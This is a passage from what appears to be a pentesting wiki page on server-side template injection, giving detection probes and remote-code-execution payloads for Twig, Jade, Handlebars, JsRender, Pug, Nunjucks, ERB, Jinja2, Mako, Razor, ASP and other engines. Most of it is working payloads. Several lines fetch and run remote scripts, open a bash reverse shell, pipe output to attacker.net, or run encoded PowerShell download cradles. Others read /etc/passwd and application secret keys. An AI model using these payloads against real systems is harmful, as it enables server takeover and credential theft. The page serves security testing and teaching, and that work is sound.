    560 {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
    561 {{['id']|filter('system')}}
    562 {{['cat\x20/etc/passwd']|filter('system')}}
    563 {{['cat$IFS/etc/passwd']|filter('system')}}
    564 {{['id',""]|sort('system')}}
    565 
    566 #Hide warnings and errors for automatic exploitation
    567 {{["error_reporting", "0"]|sort("ini_set")}}
    568 ```
    569 
    570 **Twig - Template format**
    571 
    572 ```php
    573 $output = $twig > render (
    574   'Dear' . $_GET['custom_greeting'],
    575   array("first_name" => $user.first_name)
    576 );
    577 
    578 $output = $twig > render (
    579   "Dear {first_name}",
    580   array("first_name" => $user.first_name)
    581 );
    582 ```
    583 
    584 **More information**
    585 
    586 - In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
    587 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
    588 
    589 ### Plates (PHP)
    590 
    591 Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.
    592 
    593 Controller:
    594 
    595 ```php
    596 // Create new Plates instance
    597 $templates = new League\Plates\Engine('/path/to/templates');
    598 
    599 // Render a template
    600 echo $templates->render('profile', ['name' => 'Jonathan']);
    601 ```
    602 
    603 Page template:
    604 
    605 ```php
    606 <?php $this->layout('template', ['title' => 'User Profile']) ?>
    607 
    608 <h1>User Profile</h1>
    609 <p>Hello, <?=$this->e($name)?></p>
    610 ```
    611 
    612 Layout template:
    613 
    614 ```html
    615 <html>
    616   <head>
    617     <title><?=$this->e($title)?></title>
    618   </head>
    619   <body>
    620     <?=$this->section('content')?>
    621   </body>
    622 </html>
    623 ```
    624 
    625 **More information**
    626 
    627 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
    628 
    629 ### PHPlib and HTML_Template_PHPLIB (PHP)
    630 
    631 [HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear.
    632 
    633 `authors.tpl`
    634 
    635 ```html
    636 <html>
    637   <head>
    638     <title>{PAGE_TITLE}</title>
    639   </head>
    640   <body>
    641     <table>
    642       <caption>
    643         Authors
    644       </caption>
    645       <thead>
    646         <tr>
    647           <th>Name</th>
    648           <th>Email</th>
    649         </tr>
    650       </thead>
    651       <tfoot>
    652         <tr>
    653           <td colspan="2">{NUM_AUTHORS}</td>
    654         </tr>
    655       </tfoot>
    656       <tbody>
    657         <!-- BEGIN authorline -->
    658         <tr>
    659           <td>{AUTHOR_NAME}</td>
    660           <td>{AUTHOR_EMAIL}</td>
    661         </tr>
    662         <!-- END authorline -->
    663       </tbody>
    664     </table>
    665   </body>
    666 </html>
    667 ```
    668 
    669 `authors.php`
    670 
    671 ```php
    672 <?php
    673 //we want to display this author list
    674 $authors = array(
    675     'Christian Weiske'  => 'cweiske@php.net',
    676     'Bjoern Schotte'     => 'schotte@mayflower.de'
    677 );
    678 
    679 require_once 'HTML/Template/PHPLIB.php';
    680 //create template object
    681 $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
    682 //load file
    683 $t->setFile('authors', 'authors.tpl');
    684 //set block
    685 $t->setBlock('authors', 'authorline', 'authorline_ref');
    686 
    687 //set some variables
    688 $t->setVar('NUM_AUTHORS', count($authors));
    689 $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
    690 
    691 //display the authors
    692 foreach ($authors as $name => $email) {
    693     $t->setVar('AUTHOR_NAME', $name);
    694     $t->setVar('AUTHOR_EMAIL', $email);
    695     $t->parse('authorline_ref', 'authorline', true);
    696 }
    697 
    698 //finish and echo
    699 echo $t->finish($t->parse('OUT', 'authors'));
    700 ?>
    701 ```
    702 
    703 **More information**
    704 
    705 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
    706 
    707 ### Other PHP
    708 
    709 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%286%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
    710 
    711 - See the cross-engine comparison for further PHP engine fingerprints.<sup>[[7]](#references)</sup>
    712 
    713 ### Jade (NodeJS)
    714 
    715 ```javascript
    716 - var x = root.process
    717 - x = x.mainModule.require
    718 - x = x('child_process')
    719 = x.exec('id | nc attacker.net 80')
    720 ```
    721 
    722 ```javascript
    723 #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
    724 ```
    725 
    726 **More information**
    727 
    728 - In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
    729 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
    730 
    731 ### patTemplate (PHP)
    732 
    733 > [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
    734 
    735 ```xml
    736 <patTemplate:tmpl name="page">
    737   This is the main page.
    738   <patTemplate:tmpl name="foo">
    739     It contains another template.
    740   </patTemplate:tmpl>
    741   <patTemplate:tmpl name="hello">
    742     Hello {NAME}.<br/>
    743   </patTemplate:tmpl>
    744 </patTemplate:tmpl>
    745 ```
    746 
    747 **More information**
    748 
    749 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
    750 
    751 ### Handlebars (NodeJS)
    752 
    753 Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).<sup>[[9]](#references)</sup>
    754 
    755 ```bash
    756 curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
    757 ```
    758 
    759 - \= Error
    760 - ${7\*7} = ${7\*7}
    761 - Nothing
    762 
    763 ```java
    764 {{#with "s" as |string|}}
    765   {{#with "e"}}
    766     {{#with split as |conslist|}}
    767       {{this.pop}}
    768       {{this.push (lookup string.sub "constructor")}}
    769       {{this.pop}}
    770       {{#with string.split as |codelist|}}
    771         {{this.pop}}
    772         {{this.push "return require('child_process').exec('whoami');"}}
    773         {{this.pop}}
    774         {{#each conslist}}
    775           {{#with (string.sub.apply 0 codelist)}}
    776             {{this}}
    777           {{/with}}
    778         {{/each}}
    779       {{/with}}
    780     {{/with}}
    781   {{/with}}
    782 {{/with}}
    783 
    784 URLencoded:
    785 %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
    786 ```
    787 
    788 **More information**
    789 
    790 - [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
    791 
    792 ### JsRender (NodeJS)
    793 
    794 | **Template** | **Description**                         |
    795 | ------------ | --------------------------------------- |
    796 |              | Evaluate and render output              |
    797 |              | Evaluate and render HTML encoded output |
    798 |              | Comment                                 |
    799 | and          | Allow code (disabled by default)        |
    800 
    801 - \= 49
    802 
    803 **Client Side**
    804 
    805 ```python
    806 {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
    807 ```
    808 
    809 **Server Side**
    810 
    811 ```bash
    812 {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
    813 ```
    814 
    815 **More information**
    816 
    817 - [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
    818 
    819 ### PugJs (NodeJS)
    820 
    821 - `#{7*7} = 49`
    822 - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
    823 - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
    824 
    825 **Example server side render**
    826 
    827 ```javascript
    828 var pugjs = require("pug")
    829 home = pugjs.render(injected_page)
    830 ```
    831 
    832 **More information**
    833 
    834 - [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
    835 
    836 ### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
    837 
    838 - \{{7\*7\}} = 49
    839 - \{{foo\}} = No output
    840 - \#{7\*7} = #{7\*7}
    841 - \{{console.log(1)\}} = Error
    842 
    843 ```javascript
    844 {
    845   {
    846     range.constructor(
    847       "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
    848     )()
    849   }
    850 }
    851 {
    852   {
    853     range.constructor(
    854       "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
    855     )()
    856   }
    857 }
    858 ```
    859 
    860 **More information**
    861 
    862 - [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
    863 
    864 ### NodeJS expression sandboxes (vm2 / isolated-vm)
    865 
    866 Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`. That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled:<sup>[[1]](#references)</sup>
    867 
    868 ```javascript
    869 ={{ (function() {
    870   const require = this.process.mainModule.require;
    871   const execSync = require("child_process").execSync;
    872   return execSync("id").toString();
    873 })() }}
    874 ```
    875 
    876 ### Other NodeJS
    877 
    878 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
    879 
    880 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
    881 
    882 - The same comparison documents additional Node.js template markers.<sup>[[7]](#references)</sup>
    883 
    884 ### ERB (Ruby)
    885 
    886 - `{{7*7}} = {{7*7}}`
    887 - `${7*7} = ${7*7}`
    888 - `<%= 7*7 %> = 49`
    889 - `<%= foobar %> = Error`
    890 
    891 ```python
    892 <%= system("whoami") %> #Execute code
    893 <%= Dir.entries('/') %> #List folder
    894 <%= File.open('/etc/passwd').read %> #Read file
    895 
    896 <%= system('cat /etc/passwd') %>
    897 <%= `ls /` %>
    898 <%= IO.popen('ls /').readlines()  %>
    899 <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
    900 <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
    901 ```
    902 
    903 **More information**
    904 
    905 - See the [Ruby SSTI payload collection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) for additional ERB payload variants.
    906 
    907 ### Slim (Ruby)
    908 
    909 - `{ 7 * 7 }`
    910 
    911 ```text
    912 { %x|env| }
    913 ```
    914 
    915 **More information**
    916 
    917 - Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context.
    918 
    919 ### Other Ruby
    920 
    921 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%284%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
    922 
    923 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%285%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
    924 
    925 - Refer to the comparison for other Ruby engine behaviors and payload styles.<sup>[[7]](#references)</sup>
    926 
    927 ### Python
    928 
    929 Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python:
    930 
    931 
    932 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
    933 
    934 ### Tornado (Python)
    935 
    936 - `{{7*7}} = 49`
    937 - `${7*7} = ${7*7}`
    938 - `{{foobar}} = Error`
    939 - `{{7*'7'}} = 7777777`
    940 
    941 ```python
    942 {% raw %}
    943 {% import foobar %} = Error
    944 {% import os %}
    945 
    946 {% import os %}
    947 {% endraw %}
    948 
    949 
    950 {{os.system('whoami')}}
    951 {{os.system('whoami')}}
    952 ```
    953 
    954 **More information**
    955 
    956 - [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
    957 
    958 ### Jinja2 (Python)
    959 
    960 [Official website](http://jinja.pocoo.org)
    961 
    962 > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
    963 
    964 - `{{7*7}} = Error`
    965 - `${7*7} = ${7*7}`
    966 - `{{foobar}} Nothing`
    967 - `{{4*4}}[[5*5]]`
    968 - `{{7*'7'}} = 7777777`
    969 - `{{config}}`
    970 - `{{config.items()}}`
    971 - `{{settings.SECRET_KEY}}`
    972 - `{{settings}}`
    973 - `<div data-gb-custom-block data-tag="debug"></div>`
    974 
    975 ```python
    976 {% raw %}
    977 {% debug %}
    978 {% endraw %}
    979 
    980 
    981 {{settings.SECRET_KEY}}
    982 {{4*4}}[[5*5]]
    983 {{7*'7'}} would result in 7777777
    984 ```
    985 
    986 **Jinja2 - Template format**
    987 
    988 ```python
    989 {% raw %}
    990 {% extends "layout.html" %}
    991 {% block body %}
    992   <ul>
    993   {% for user in users %}
    994     <li><a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%7B%7B%20user.url%20%7D%7D">{{ user.username }}</a></li>
    995   {% endfor %}
    996   </ul>
    997 {% endblock %}
    998 {% endraw %}
    999 
   1000 
   1001 ```
   1002 
   1003 [**RCE that does not depend on**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
   1004 
   1005 ```python
   1006 {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
   1007 {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
   1008 {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
   1009 
   1010 # Or in the shotest versions:
   1011 {{ cycler.__init__.__globals__.os.popen('id').read() }}
   1012 {{ joiner.__init__.__globals__.os.popen('id').read() }}
   1013 {{ namespace.__init__.__globals__.os.popen('id').read() }}
   1014 ```
   1015 
   1016 **More details about how to abuse Jinja**:
   1017 
   1018 
   1019 [Jinja2 Ssti](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti)
   1020 
   1021 Other payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
   1022 
   1023 ### Mako (Python)
   1024 
   1025 ```python
   1026 <%
   1027 import os
   1028 x=os.popen('id').read()
   1029 %>
   1030 ${x}
   1031 ```
   1032 
   1033 **More information**
   1034 
   1035 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
   1036 
   1037 ### Other Python
   1038 
   1039 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%282%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
   1040 
   1041 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%283%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
   1042 
   1043 - Additional Python template engines are summarized in the cross-engine comparison.<sup>[[7]](#references)</sup>
   1044 
   1045 ### Razor (.Net)
   1046 
   1047 - `@(2+2) <= Success`
   1048 - `@() <= Success`
   1049 - `@("{{code}}") <= Success`
   1050 - `@ <=Success`
   1051 - `@{} <= ERROR!`
   1052 - `@{ <= ERROR!`
   1053 - `@(1+2)`
   1054 - `@( //C#Code )`
   1055 - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
   1056 - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
   1057 
   1058 The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
   1059 
   1060 **More information**
   1061 
   1062 - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](<https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/>)
   1063 - [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
   1064 
   1065 ### ASP
   1066 
   1067 - `<%= 7*7 %>` = 49
   1068 - `<%= "foo" %>` = foo
   1069 - `<%= foo %>` = Nothing
   1070 - `<%= response.write(date()) %>` = \<Date>
   1071 
   1072 ```xml
   1073 <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
   1074 ```
   1075 
   1076 **More Information**
   1077 
   1078 - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
   1079 
   1080 ### .Net Bypassing restrictions
   1081 
   1082 The .NET Reflection mechanisms can be used to bypass blacklisting or classes not being present in the assembly. DLL's can be loaded at runtime with methods and properties accessible from basic objects.
   1083 
   1084 Dll's can be loaded with:
   1085 
   1086 - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - from filesystem.
   1087 - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - directly from request.
   1088 
   1089 Full command execution:
   1090 
   1091 ```text
   1092 {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
   1093 ```
   1094 
   1095 **More Information**
   1096 
   1097 - [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
   1098 
   1099 ### Mojolicious (Perl)
   1100 
   1101 Even if it's perl it uses tags like ERB in Ruby.
   1102 
   1103 - `<%= 7*7 %> = 49`
   1104 - `<%= foobar %> = Error`
   1105 
   1106 ```text
   1107 <%= perl code %>
   1108 <% perl code %>
   1109 ```
   1110 
   1111 ### SSTI in GO
   1112 
   1113 In Go's template engine, confirmation of its usage can be done with specific payloads:
   1114 
   1115 - `{{ . }}`: Reveals the data structure input. For instance, if an object with a `Password` attribute is passed, `{{ .Password }}` could expose it.
   1116 - `{{printf "%s" "ssti" }}`: Expected to display the string "ssti".
   1117 - `{{html "ssti"}}`, `{{js "ssti"}}`: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation [here](https://golang.org/pkg/text/template).
   1118 
   1119 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%288%29.png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
   1120 
   1121 **XSS Exploitation**
   1122 
   1123 With the `text/template` package, XSS can be straightforward by inserting the payload directly. Contrastingly, the `html/template` package encodes the response to prevent this (e.g., `{{"<script>alert(1)</script>"}}` results in `&lt;script&gt;alert(1)&lt;/script&gt;`). Nonetheless, template definition and invocation in Go can bypass this encoding: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
   1124 
   1125 vbnet Copy code
   1126 
   1127 **RCE Exploitation**
   1128 
   1129 RCE exploitation differs significantly between `html/template` and `text/template`. The `text/template` module allows calling any public function directly (using the “call” value), which is not permitted in `html/template`. Documentation for these modules is available [here for html/template](https://golang.org/pkg/html/template/) and [here for text/template](https://golang.org/pkg/text/template/).
   1130 
   1131 For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a `System` method executing commands, it can be exploited like `{{ .System "ls" }}`. Accessing the source code is usually necessary to exploit this, as in the given example:
   1132 
   1133 ```go
   1134 func (p Person) Secret (test string) string {
   1135 	out, _ := exec.Command(test).CombinedOutput()
   1136 	return string(out)
   1137 }
   1138 ```
   1139 
   1140 **More information**
   1141 
   1142 - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
   1143 - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
   1144 
   1145 
   1146 ### LESS (CSS Preprocessor)
   1147 
   1148 When user-controlled template data reaches a LESS compilation step, LESS variables, mixins, functions, and `@import` rules become an additional injection surface. In particular, `@import (inline)` can retrieve attacker-selected content during compilation and embed the fetched response in the resulting CSS.
   1149 
   1150 [Less Code Injection](/hacktricks/pentesting-web/xs-search/css-injection/less-code-injection)
   1151 
   1152 
   1153 ### More Exploits
   1154 
   1155 Once the template engine is identified, use an engine-specific exploitation workflow: enumerate exposed objects, look for dangerous methods or filters, and only then build the final payload.<sup>[[2]](#references)</sup> Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. You can also find interesting tag information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI).<sup>[[3]](#references)</sup>
   1156 
   1157 ## BlackHat PDF
   1158 
   1159 [En Server Side Template Injection Rce For The Modern Web App Blackhat 15 (1).Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15%20%281%29.pdf)
   1160 
   1161 ## Related Help
   1162 
   1163 If you think it could be useful, read:
   1164 
   1165 - [Flask tricks](/hacktricks/network-services-pentesting/pentesting-web/flask)
   1166 - [Python magic functions](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
   1167 
   1168 ## Tools
   1169 
   1170 - [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
   1171 - [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
   1172 - [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
   1173 - [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
   1174 
   1175 ## Brute-Force Detection List
   1176 
   1177 
   1178 [Ssti.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt)
   1179 
   1180 ## References
   1181 
   1182 - [1] [Node expression sandbox escape via `process.mainModule.require` (n8n PoC)](https://github.com/Chocapikk/CVE-2026-21858)
   1183 - [2] [PortSwigger Web Security Academy - Exploiting server-side template injection vulnerabilities](https://portswigger.net/web-security/server-side-template-injection/exploiting)
   1184 - [3] [DiogoMRSilva - websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
   1185 - [4] [PortSwigger Web Security Academy - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection)
   1186 - [5] [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html)
   1187 - [6] [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j)
   1188 - [7] [@0xAwali - Template Engines Injection 101](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
   1189 - [8] [security.humanativaspa.it - Groovy Template Engine Exploitation Notes From A Real Case Scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario)
